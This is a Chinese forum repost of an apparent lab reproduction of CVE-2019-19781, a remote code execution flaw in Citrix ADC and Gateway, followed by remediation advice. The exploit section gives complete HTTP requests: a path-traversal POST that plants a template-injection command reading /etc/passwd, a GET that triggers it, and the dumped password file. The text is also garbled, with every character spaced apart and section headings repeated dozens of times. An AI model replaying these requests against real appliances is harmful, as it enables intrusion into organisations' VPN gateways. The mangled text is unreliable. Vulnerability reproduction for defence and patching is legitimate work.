搜索

[6588] 2020-03-23_CVE-2019-19781CitrixADC远程代码执行漏洞本地复现

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-17
2020-03-23_CVE-2019-19781CitrixADC远程代码执行漏洞本地复现 C V E - 2 0 1 9 - 1 9 7 8 1 :   C i t r i x   A D C 远 程 代 码 执 行 漏 洞 本 地 复 现 E 安 全   2 0 2 0 - 0 3 - 2 3 以 下 文 章 来 源 于 雷 神 众 测   ， 作 者 千 山 飞 暮 雪 N o . 1 N o . 1 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 由 于 传 播 、 利 用 此 文 所 提 供 的 信 息 而 造 成 的 任 何 直 接 或 者 间 接 的 后 果 及 损 失 ， 均 由 使 用 者 本 人 负 责 ， 雷 神 众 测 以 及 文 章 作 者 不 为 此 承 担 任 何 责 任 。 雷 神 众 测 拥 有 对 此 文 章 的 修 改 和 解 释 权 。 如 欲 转 载 或 传 播 此 文 章 ， 必 须 保 证 此 文 章 的 完 整 性 ， 包 括 版 权 声 明 等 全 部 内 容 。 未 经 雷 神 众 测 允 许 ， 不 得 任 意 修 改 或 者 增 减 此 文 章 内 容 ， 不 得 以 任 何 方 式 将 其 用 于 商 业 目 的 。 N o . 2 N o . 2 漏 洞 产 生 原 因 漏 洞 产 生 原 因 漏 洞 产 生 原 因 漏 洞 产 生 原 因 漏 洞 产 生 原 因 漏 洞 产 生 原 因 漏 洞 产 生 原 因 漏 洞 产 生 原 因 漏 洞 产 生 原 因 漏 洞 产 生 原 因 漏 洞 产 生 原 因 漏 洞 产 生 原 因 漏 洞 产 生 原 因 漏 洞 产 生 原 因 漏 洞 产 生 原 因 漏 洞 产 生 原 因 漏 洞 产 生 原 因 漏 洞 产 生 原 因 漏 洞 产 生 原 因 漏 洞 产 生 原 因 漏 洞 产 生 原 因 漏 洞 产 生 原 因 漏 洞 产 生 原 因 漏 洞 产 生 原 因 漏 洞 产 生 原 因 漏 洞 产 生 原 因 漏 洞 产 生 原 因 漏 洞 产 生 原 因 漏 洞 产 生 原 因 漏 洞 产 生 原 因 漏 洞 产 生 原 因 漏 洞 产 生 原 因 漏 洞 产 生 原 因 漏 洞 产 生 原 因 漏 洞 产 生 原 因 漏 洞 产 生 原 因 漏 洞 产 生 原 因 漏 洞 产 生 原 因 漏 洞 产 生 原 因 漏 洞 产 生 原 因 漏 洞 产 生 原 因 漏 洞 产 生 原 因 漏 洞 产 生 原 因 漏 洞 产 生 原 因 漏 洞 产 生 原 因 漏 洞 产 生 原 因 漏 洞 产 生 原 因 漏 洞 产 生 原 因 漏 洞 产 生 原 因 漏 洞 产 生 原 因 漏 洞 产 生 原 因 漏 洞 产 生 原 因 漏 洞 产 生 原 因 漏 洞 产 生 原 因 漏 洞 产 生 原 因 漏 洞 产 生 原 因 漏 洞 产 生 原 因 漏 洞 产 生 原 因 漏 洞 产 生 原 因 漏 洞 产 生 原 因 漏 洞 产 生 原 因 漏 洞 产 生 原 因 漏 洞 产 生 原 因 漏 洞 产 生 原 因 漏 洞 产 生 原 因 漏 洞 产 生 原 因 漏 洞 产 生 原 因 漏 洞 产 生 原 因 C i t r i x   A D C （ N e t S c a l e r s ） 中 的 目 录 穿 越 错 误 ， 这 个 错 误 会 调 用 p e r l 脚 本 ， p e r l 脚 本 用 于 将 X M L 格 式 的 文 件 附 加 到 受 害 计 算 机 ， 因 此 产 生 远 程 执 行 代 码 。 注 ： C i t r i x   N e t S c a l e r   A D C 应 用 交 付 控 制 器 和 C i t r i x   N e t S c a l e r 网 关 N o . 3 N o . 3 漏 洞 利 用 过 程 漏 洞 利 用 过 程 漏 洞 利 用 过 程 漏 洞 利 用 过 程 漏 洞 利 用 过 程 漏 洞 利 用 过 程 漏 洞 利 用 过 程 漏 洞 利 用 过 程 漏 洞 利 用 过 程 漏 洞 利 用 过 程 漏 洞 利 用 过 程 漏 洞 利 用 过 程 漏 洞 利 用 过 程 漏 洞 利 用 过 程 漏 洞 利 用 过 程 漏 洞 利 用 过 程 漏 洞 利 用 过 程 漏 洞 利 用 过 程 漏 洞 利 用 过 程 漏 洞 利 用 过 程 漏 洞 利 用 过 程 漏 洞 利 用 过 程 漏 洞 利 用 过 程 漏 洞 利 用 过 程 漏 洞 利 用 过 程 漏 洞 利 用 过 程 漏 洞 利 用 过 程 漏 洞 利 用 过 程 漏 洞 利 用 过 程 漏 洞 利 用 过 程 漏 洞 利 用 过 程 漏 洞 利 用 过 程 漏 洞 利 用 过 程 漏 洞 利 用 过 程 漏 洞 利 用 过 程 漏 洞 利 用 过 程 漏 洞 利 用 过 程 漏 洞 利 用 过 程 漏 洞 利 用 过 程 漏 洞 利 用 过 程 漏 洞 利 用 过 程 漏 洞 利 用 过 程 漏 洞 利 用 过 程 漏 洞 利 用 过 程 漏 洞 利 用 过 程 漏 洞 利 用 过 程 漏 洞 利 用 过 程 漏 洞 利 用 过 程 漏 洞 利 用 过 程 漏 洞 利 用 过 程 漏 洞 利 用 过 程 漏 洞 利 用 过 程 漏 洞 利 用 过 程 漏 洞 利 用 过 程 漏 洞 利 用 过 程 漏 洞 利 用 过 程 漏 洞 利 用 过 程 漏 洞 利 用 过 程 漏 洞 利 用 过 程 漏 洞 利 用 过 程 漏 洞 利 用 过 程 漏 洞 利 用 过 程 漏 洞 利 用 过 程 漏 洞 利 用 过 程 漏 洞 利 用 过 程 漏 洞 利 用 过 程 漏 洞 利 用 过 程 漏 洞 利 用 过 程 1 . p l 文 件 未 对 N S C _ U S E R 参 数 传 入 进 行 过 滤 2 . 触 发 目 录 穿 越 3 . 在 模 板 目 录 的 X M L 文 件 写 入 命 令 4 . 模 板 引 擎 分 析 后 执 行 命 令 N o . 4 N o . 4 漏 洞 影 响 范 围 漏 洞 影 响 范 围 漏 洞 影 响 范 围 漏 洞 影 响 范 围 漏 洞 影 响 范 围 漏 洞 影 响 范 围 漏 洞 影 响 范 围 漏 洞 影 响 范 围 漏 洞 影 响 范 围 漏 洞 影 响 范 围 漏 洞 影 响 范 围 漏 洞 影 响 范 围 漏 洞 影 响 范 围 漏 洞 影 响 范 围 漏 洞 影 响 范 围 漏 洞 影 响 范 围 漏 洞 影 响 范 围 漏 洞 影 响 范 围 漏 洞 影 响 范 围 漏 洞 影 响 范 围 漏 洞 影 响 范 围 漏 洞 影 响 范 围 漏 洞 影 响 范 围 漏 洞 影 响 范 围 漏 洞 影 响 范 围 漏 洞 影 响 范 围 漏 洞 影 响 范 围 漏 洞 影 响 范 围 漏 洞 影 响 范 围 漏 洞 影 响 范 围 漏 洞 影 响 范 围 漏 洞 影 响 范 围 漏 洞 影 响 范 围 漏 洞 影 响 范 围 漏 洞 影 响 范 围 漏 洞 影 响 范 围 漏 洞 影 响 范 围 漏 洞 影 响 范 围 漏 洞 影 响 范 围 漏 洞 影 响 范 围 漏 洞 影 响 范 围 漏 洞 影 响 范 围 漏 洞 影 响 范 围 漏 洞 影 响 范 围 漏 洞 影 响 范 围 漏 洞 影 响 范 围 漏 洞 影 响 范 围 漏 洞 影 响 范 围 漏 洞 影 响 范 围 漏 洞 影 响 范 围 漏 洞 影 响 范 围 漏 洞 影 响 范 围 漏 洞 影 响 范 围 漏 洞 影 响 范 围 漏 洞 影 响 范 围 漏 洞 影 响 范 围 漏 洞 影 响 范 围 漏 洞 影 响 范 围 漏 洞 影 响 范 围 漏 洞 影 响 范 围 漏 洞 影 响 范 围 漏 洞 影 响 范 围 漏 洞 影 响 范 围 漏 洞 影 响 范 围 漏 洞 影 响 范 围 漏 洞 影 响 范 围 漏 洞 影 响 范 围 漏 洞 影 响 范 围 C i t r i x   N e t S c a l e r   A D C   a n d   N e t S c a l e r   G a t e w a y   v e r s i o n   1 0 . 5 C i t r i x   A D C   a n d   N e t S c a l e r   G a t e w a y   v e r s i o n   1 1 . 1   ,   1 2 . 0   ,   1 2 . 1   C i t r i x   A D C   a n d   C i t r i x   G a t e w a y   v e r s i o n   1 3 . 0 N o . 5 N o . 5 漏 洞 复 现 漏 洞 复 现 漏 洞 复 现 漏 洞 复 现 漏 洞 复 现 漏 洞 复 现 漏 洞 复 现 漏 洞 复 现 漏 洞 复 现 漏 洞 复 现 漏 洞 复 现 漏 洞 复 现 漏 洞 复 现 漏 洞 复 现 漏 洞 复 现 漏 洞 复 现 漏 洞 复 现 漏 洞 复 现 漏 洞 复 现 漏 洞 复 现 漏 洞 复 现 漏 洞 复 现 漏 洞 复 现 漏 洞 复 现 漏 洞 复 现 漏 洞 复 现 漏 洞 复 现 漏 洞 复 现 漏 洞 复 现 漏 洞 复 现 漏 洞 复 现 漏 洞 复 现 漏 洞 复 现 漏 洞 复 现 漏 洞 复 现 漏 洞 复 现 漏 洞 复 现 漏 洞 复 现 漏 洞 复 现 漏 洞 复 现 漏 洞 复 现 漏 洞 复 现 漏 洞 复 现 漏 洞 复 现 漏 洞 复 现 漏 洞 复 现 漏 洞 复 现 漏 洞 复 现 漏 洞 复 现 漏 洞 复 现 漏 洞 复 现 漏 洞 复 现 漏 洞 复 现 漏 洞 复 现 漏 洞 复 现 漏 洞 复 现 漏 洞 复 现 漏 洞 复 现 漏 洞 复 现 漏 洞 复 现 漏 洞 复 现 漏 洞 复 现 漏 洞 复 现 漏 洞 复 现 漏 洞 复 现 漏 洞 复 现 漏 洞 复 现 漏 洞 复 现 下 载   C i t r i x   G a t e w a y   V P X   f o r   E S X   B u i l d   1 3 . 0 - 4 7 . 2 2 h t t p s : / / w w w . c i t r i x . c o m / d o w n l o a d s / c i t r i x - g a t e w a y / 安 装 N S V P X - E S X 运 行 . o v f 文 件 后 ， 会 导 入 . v m d k 文 件 并 启 动 虚 拟 机 桥 接 模 式   配 置 I P 地 址 ： 1 9 2 . 1 6 8 . 2 . 1 7 0 子 网 掩 码 ： 2 5 5 . 2 5 5 . 2 5 5 . 0 网 关 地 址 ： 1 9 2 . 1 6 9 . 2 . 2 5 5 然 后 选 择 4 确 认 访 问   h t t p : / / 1 9 2 . 1 6 8 . 2 . 1 7 0 默 认 用 户 和 密 码 登 录 ： n s r o o t / n s r o o t 雷 神 众 测 雷 神 众 测   . 雷 神 众 测 ， 专 注 于 渗 透 测 试 技 术 及 全 球 最 新 网 络 攻 击 技 术 的 分 析 。
利 用 目 录 穿 越 写 入 命 令 语 句 到 n e w b m . p l 文 件 中 P O S T   / v p n / . . / v p n s / p o r t a l / s c r i p t s / n e w b m . p l   H T T P / 1 . 1 H o s t :   1 9 2 . 1 6 8 . 2 . 1 7 0 U s e r - A g e n t :   1 C o n n e c t i o n :   c l o s e N S C _ U S E R :   . . / . . / . . / n e t s c a l e r / p o r t a l / t e m p l a t e s / r a b 3 i t N S C _ N O N C E :   n s r o o t C o n t e n t - L e n g t h :   9 7 u r l = h t t p : / / e x a m p l e . c o m & t i t l e = r a b 3 i t & d e s c = [ %   t e m p l a t e . n e w ( ' B L O C K '   =   ' p r i n t   ` c a t   / e t c / p a s s w d ` ' )   % ] H T T P / 1 . 1   2 0 0   O K D a t e :   T h u ,   1 6   J a n   2 0 2 0   0 6 : 2 5 : 0 7   G M T S e r v e r :   A p a c h e X - F r a m e - O p t i o n s :   S A M E O R I G I N L a s t - M o d i f i e d :   T h u ,   1 6   J a n   2 0 2 0   0 6 : 2 5 : 0 7   G M T E T a g :   W / " 8 7 - 5 9 c 4 2 8 6 d d a 3 0 0 " A c c e p t - R a n g e s :   b y t e s C o n t e n t - L e n g t h :   1 3 5 X - X S S - P r o t e c t i o n :   1 ;   m o d e = b l o c k X - C o n t e n t - T y p e - O p t i o n s :   n o s n i f f K e e p - A l i v e :   t i m e o u t = 1 5 ,   m a x = 1 0 0 C o n n e c t i o n :   K e e p - A l i v e C o n t e n t - T y p e :   t e x t / h t m l ;   c h a r s e t = U T F - 8 < H T M L > < B O D Y > < S C R I P T   l a n g u a g e = j a v a s c r i p t   t y p e = t e x t / j a v a s c r i p t > / / p a r e n t . w i n d o w . n s _ r e l o a d ( ) ; w i n d o w . c l o s e ( ) ; < / S C R I P T > < / B O D Y > < / H T M L > G E T 方 式 访 问 写 入 的 x m l 文 件
G E T   / v p n / . . / v p n s / p o r t a l / r a b 3 i t . x m l   H T T P / 1 . 1 H o s t :   1 9 2 . 1 6 8 . 2 . 1 7 0 U s e r - A g e n t :   M o z i l l a / 5 . 0   ( M a c i n t o s h ;   I n t e l   M a c   O S   X   1 0 _ 1 5 _ 1 )   A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 7 9 . 0 . 3 9 4 5 . 1 1 7   S a f a r i / 5 3 7 . 3 A c c e p t :   t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , * / * ; q = 0 . 8 A c c e p t - L a n g u a g e :   z h - C N , z h ; q = 0 . 8 , e n - U S ; q = 0 . 5 , e n ; q = 0 . 3 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e C o n n e c t i o n :   c l o s e N S C _ U S E R :   n s r o o t N S C _ N O N C E :   n s r o o t U p g r a d e - I n s e c u r e - R e q u e s t s :   1 C a c h e - C o n t r o l :   m a x - a g e = 0 H T T P / 1 . 1   2 0 0   O K D a t e :   T h u ,   1 6   J a n   2 0 2 0   0 6 : 3 9 : 1 7   G M T S e r v e r :   A p a c h e X - F r a m e - O p t i o n s :   S A M E O R I G I N P r a g m a :   n o - c a c h e C a c h e - c o n t r o l :   n o - c a c h e X - X S S - P r o t e c t i o n :   1 ;   m o d e = b l o c k X - C o n t e n t - T y p e - O p t i o n s :   n o s n i f f K e e p - A l i v e :   t i m e o u t = 1 5 ,   m a x = 1 0 0 C o n n e c t i o n :   K e e p - A l i v e C o n t e n t - T y p e :   t e x t / h t m l ;   c h a r s e t = U T F - 8 E x p i r e s :   T h u ,   1 6   J a n   2 0 2 0   0 6 : 3 9 : 1 7   G M T C o n t e n t - L e n g t h :   2 2 5 5 #   $ F r e e B S D :   r e l e a s e / 8 . 4 . 0 / e t c / m a s t e r . p a s s w d   2 4 3 9 4 8   2 0 1 2 - 1 2 - 0 6   1 1 : 5 4 : 2 5 Z   r w a t s o n   $ # r o o t : * : 0 : 0 : C h a r l i e   & : / r o o t : / u s r / b i n / b a s h n s r o o t : * : 0 : 0 : N e t s c a l e r   R o o t : / r o o t : / n e t s c a l e r / n s s h d a e m o n : * : 1 : 1 : O w n e r   o f   m a n y   s y s t e m   p r o c e s s e s : / r o o t : / u s r / s b i n / n o l o g i n o p e r a t o r : * : 2 : 5 : S y s t e m   & : / : / u s r / s b i n / n o l o g i n b i n : * : 3 : 7 : B i n a r i e s   C o m m a n d s   a n d   S o u r c e : / : / u s r / s b i n / n o l o g i n t t y : * : 4 : 6 5 5 3 3 : T t y   S a n d b o x : / : / u s r / s b i n / n o l o g i n k m e m : * : 5 : 6 5 5 3 3 : K M e m   S a n d b o x : / : / u s r / s b i n / n o l o g i n g a m e s : * : 7 : 1 3 : G a m e s   p s e u d o - u s e r : / u s r / g a m e s : / u s r / s b i n / n o l o g i n n e w s : * : 8 : 8 : N e w s   S u b s y s t e m : / : / u s r / s b i n / n o l o g i n m a n : * : 9 : 9 : M i s t e r   M a n   P a g e s : / u s r / s h a r e / m a n : / u s r / s b i n / n o l o g i n s s h d : * : 2 2 : 2 2 : S e c u r e   S h e l l   D a e m o n : / v a r / e m p t y : / u s r / s b i n / n o l o g i n s m m s p : * : 2 5 : 2 5 : S e n d m a i l   S u b m i s s i o n   U s e r : / v a r / s p o o l / c l i e n t m q u e u e : / u s r / s b i n / n o l o g i n m a i l n u l l : * : 2 6 : 2 6 : S e n d m a i l   D e f a u l t   U s e r : / v a r / s p o o l / m q u e u e : / u s r / s b i n / n o l o g i n b i n d : * : 5 3 : 5 3 : B i n d   S a n d b o x : / : / u s r / s b i n / n o l o g i n p r o x y : * : 6 2 : 6 2 : P a c k e t   F i l t e r   p s e u d o - u s e r : / n o n e x i s t e n t : / u s r / s b i n / n o l o g i n _ p f l o g d : * : 6 4 : 6 4 : p f l o g d   p r i v s e p   u s e r : / v a r / e m p t y : / u s r / s b i n / n o l o g i n _ d h c p : * : 6 5 : 6 5 : d h c p   p r o g r a m s : / v a r / e m p t y : / u s r / s b i n / n o l o g i n u u c p : * : 6 6 : 6 6 : U U C P   p s e u d o - u s e r : / v a r / s p o o l / u u c p p u b l i c : / u s r / s b i n / n o l o g i n p o p : * : 6 8 : 6 : P o s t   O f f i c e   O w n e r : / n o n e x i s t e n t : / u s r / s b i n / n o l o g i n a u d i t d i s t d : * : 7 8 : 7 7 : A u d i t d i s t d   u n p r i v i l e g e d   u s e r : / v a r / e m p t y : / u s r / s b i n / n o l o g i n w w w : * : 8 0 : 8 0 : W o r l d   W i d e   W e b   O w n e r : / n o n e x i s t e n t : / u s r / s b i n / n o l o g i n h a s t : * : 8 4 5 : 8 4 5 : H A S T   u n p r i v i l e g e d   u s e r : / v a r / e m p t y : / u s r / s b i n / n o l o g i n n o b o d y : * : 6 5 5 3 4 : 6 5 5 3 4 : U n p r i v i l e g e d   u s e r : / n o n e x i s t e n t : / u s r / s b i n / n o l o g i n n s m o n i t o r : * : 6 5 5 3 2 : 6 5 5 3 4 : N e t s c a l e r   M o n i t o r i n g   u s e r : / v a r / n s t m p / m o n i t o r s : / u s r / s b i n / n o l o g i n & # 1 1 7 ; & # 1 1 0 ; & # 1 0 0 ; & # 1 0 1 ; & # 1 0 2 ; & # 3 2 ; & # 1 0 1 ; & # 1 1 4 ; & # 1 1 4 ; & # 1 1 1 ; & # 1 1 4 ; & # 3 2 ; & # 4 5 ; & # 3 2 ; & # 6 5 ; & # 1 1 6 ; & # 1 1 6 ; & # 1 0 1 ; & # 1 0 9 ; & # 1 1 2 ; & # 1 1 6 ; & # 3 2 ; & # 1 1 6 ; & # 1 1 1 ; & # 3 2 ; & # 9 8 ; & # 1 0 8 ; & # 1 0 1 ; & # 1 1 5 ; & # 1 1 5 ; & # 3 2 ; & # 1 0 5 ; & # 1 1 0 ; & # 1 1 6 ; & # 1 1 1 ; & # 3 2 ; & # 9 7 ; & # 3 2 ; & # 1 1 4 ; & # 1 0 1 ; & # 1 0 2 ; & # 1 0 1 ; & # 1 1 4 ; & # 1 0 1 ; & # 1 1 0 ; & # 9 9 ; & # 1 0 1 ; & # 3 2 ; & # 9 7 ; & # 1 1 6 ; & # 3 2 ; & # 4 7 ; & # 1 1 7 ; & # 1 1 5 ; & # 1 1 4 ; & # 4 7 ; & # 1 0 8 ; & # 1 1 1 ; & # 9 9 ; & # 9 7 ; & # 1 0 8 ; & # 4 7 ; & # 1 0 8 ; & # 1 0 5 ; & # 9 8 ; & # 4 7 ; & # 1 1 2 ; & # 1 0 1 ; & # 1 1 4 ; & # 1 0 8 ; & # 5 3 ; & # 4 7 ; & # 1 1 5 ; & # 1 0 5 ; & # 1 1 6 ; & # 1 0 1 ; & # 9 5 ; & # 1 1 2 ; & # 1 0 1 ; & # 1 1 4 ; & # 1 0 8 ; & # 4 7 ; & # 5 3 ; & # 4 6 ; & # 4 9 ; & # 5 2 ; & # 4 6 ; & # 5 0 ; & # 4 7 ; & # 1 0 9 ; & # 9 7 ; & # 9 9 ; & # 1 0 4 ; & # 4 7 ; & # 8 4 ; & # 1 0 1 ; & # 1 0 9 ; & # 1 1 2 ; & # 1 0 8 ; & # 9 7 ; & # 1 1 6 ; & # 1 0 1 ; & # 4 7 ; & # 6 8 ; & # 1 1 1 ; & # 9 9 ; & # 1 1 7 ; & # 1 0 9 ; & # 1 0 1 ; & # 1 1 0 ; & # 1 1 6 ; & # 4 6 ; & # 1 1 2 ; & # 1 0 9 ; & # 3 2 ; & # 1 0 8 ; & # 1 0 5 ; & # 1 1 0 ; & # 1 0 1 ; & # 3 2 ; & # 5 7 ; & # 5 0 ; & # 4 6 ; & # 1 0 ; N o . 6 N o . 6 修 复 方 案 修 复 方 案 修 复 方 案 修 复 方 案 修 复 方 案 修 复 方 案 修 复 方 案 修 复 方 案 修 复 方 案 修 复 方 案 修 复 方 案 修 复 方 案 修 复 方 案 修 复 方 案 修 复 方 案 修 复 方 案 修 复 方 案 修 复 方 案 修 复 方 案 修 复 方 案 修 复 方 案 修 复 方 案 修 复 方 案 修 复 方 案 修 复 方 案 修 复 方 案 修 复 方 案 修 复 方 案 修 复 方 案 修 复 方 案 修 复 方 案 修 复 方 案 修 复 方 案 修 复 方 案 修 复 方 案 修 复 方 案 修 复 方 案 修 复 方 案 修 复 方 案 修 复 方 案 修 复 方 案 修 复 方 案 修 复 方 案 修 复 方 案 修 复 方 案 修 复 方 案 修 复 方 案 修 复 方 案 修 复 方 案 修 复 方 案 修 复 方 案 修 复 方 案 修 复 方 案 修 复 方 案 修 复 方 案 修 复 方 案 修 复 方 案 修 复 方 案 修 复 方 案 修 复 方 案 修 复 方 案 修 复 方 案 修 复 方 案 修 复 方 案 修 复 方 案 修 复 方 案 修 复 方 案 修 复 方 案 C i t r i x   A D C   名 称 为 N e t S c a l e r   A D C ， 同 时 受 影 响 为 C i t r i x   G a t e w a y ， 产 品 名 称 为   N e t s c a l e r   G a t e w a y 临 时 解 决 方 案 ： 实 施 C i t r i x 支 持 文 章 h t t p s : / / s u p p o r t . c i t r i x . c o m / a r t i c l e / C T X 2 6 7 0 2 7 中 描 述 的 缓 解 措 施 将 已 识 别 的 恶 意 X M L 文 件 复 制 到 外 部 设 备 ， 并 从 以 下 目 录 中 删 除 原 始 恶 意 文 件 /   n e t s c a l e r   /   p o r t a l   /   t e m p l a t e s /   v a r   /   t m p   /   n e t s c a l e r   /   p o r t a l   /   t e m p l a t e s 验 证 所 有 创 建 为 以 “   n o b o d y ” 用 户 身 份 运 行 的 c r o n 作 业 。 默 认 情 况 下 ， 不 应 以 “   n o b o d y ” 用 户 身 份 运 行 计 划 的 c r o n 作 业 。 清 除 或 重 置 经 过 身 份 验 证 的 会 话 c o o k i e 。
重 新 启 动 C i t r i x 服 务 器 以 断 开 与 恶 意 行 为 者 的 任 何 活 动 连 接 。 重 置 C i t r i x 服 务 器 上 所 有 本 地 帐 户 的 密 码 。 对 X M L 文 件 和 其 他 司 法 鉴 定 进 行 分 析 ， 以 识 别 进 一 步 的 缓 解 措 施 。 注 ： 本 文 由 E 安 全 编 译 报 道 ， 转 载 请 注 原 文 地 址   h t t p s : / / w w w . e a s y a q . c o m 推 荐 阅 读 ： 欧 盟 与 N e t f l i x 平 台 谈 判   缓 解 新 冠 病 毒 爆 发 期 内 互 联 网 压 力 通 达 O A - 感 染 勒 索 病 毒 漏 洞 分 析 伊 朗 冠 状 病 毒 检 测 A p p 饱 受 质 疑     美 国 强 行 将 其 下 架 W i n d o w s 严 重 蠕 虫 漏 洞 将 破 坏 全 球 的 商 业 网 络 ！ 国 泰 航 空 被 处 以 I C O 5 0 万 英 镑 最 高 罚 款   因 数 据 泄 露 长 达 四 年 之 久 ▼ 点 击 “ 阅 读 原 文 ”   查 看 更 多 精 彩 内 容 喜 欢 记 得 打 赏 小 E 哦 ！
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理